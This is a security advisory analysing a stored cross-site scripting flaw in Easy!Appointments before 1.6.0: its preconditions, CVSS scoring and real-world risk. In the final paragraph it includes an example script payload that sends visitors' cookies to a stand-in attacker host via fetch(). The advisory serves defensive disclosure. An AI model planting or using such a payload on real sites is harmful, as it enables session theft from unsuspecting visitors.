Easy!Appointments EUVD-2026-43705

Two distinct preconditions must both be met for exploitation. First, the attacker must possess or obtain administrator-level credentials for the Easy!Appointments instance - CVSS PR:H confirms this hard requirement; standard user or appointment-manager roles are insufficient. Second, the 'booking disabled' mode must be active in the application settings, which causes the application to serve the booking_message view that renders the unsanitized disable_booking_message value; if booking is enabled, the vulnerable code path is never reached. Once both conditions are satisfied, exploitation requires no further attacker interaction - any unauthenticated visitor loading the public booking URL triggers the payload (UI:R applies to the victim). Non-default deployments behind a VPN or internal network would restrict the pool of potential victims but are not inherent software mitigations. Only versions prior to 1.6.0 are affected.

The official CVSS 3.1 base score is 2.6 (Low), driven primarily by PR:H (administrator authentication required to plant the payload), AC:H, and UI:R (the victim must visit the page). The S:C (scope change) correctly captures that the injected payload executes in the browser context of unauthenticated public visitors rather than the administrator. Despite the low raw score, real-world risk is nuanced: a compromised or malicious administrator can silently embed a persistent XSS payload affecting all subsequent visitors to the booking page without any further privileges or interaction from the attacker beyond initial setup. EPSS data was not provided in the source intelligence; the vulnerability is not listed in CISA KEV; and no public exploit code has been identified. The primary limiting factor is the hard PR:H prerequisite, making this a plausible insider threat or post-compromise escalation vector rather than an opportunistic remote attack. For organizations with strict admin account controls and MFA, practical risk is low; for self-hosted deployments with shared or weakly protected credentials, the persistent and zero-interaction-on-attacker-side nature elevates concern.

An attacker holding or having compromised administrator credentials navigates to the booking settings page and enters a JavaScript payload such as <script>fetch('https://attacker.example/log?c='+document.cookie)</script> into the rich-text 'booking disabled' message field, then enables booking-disabled mode. From that point forward, every unauthenticated visitor who loads the public booking URL silently executes the stored script, enabling cookie exfiltration, phishing overlays injected into the trusted booking domain, or silent redirection to attacker-controlled infrastructure. No public POC code has been identified, but the attack path requires no specialized knowledge given the straightforward nature of stored XSS.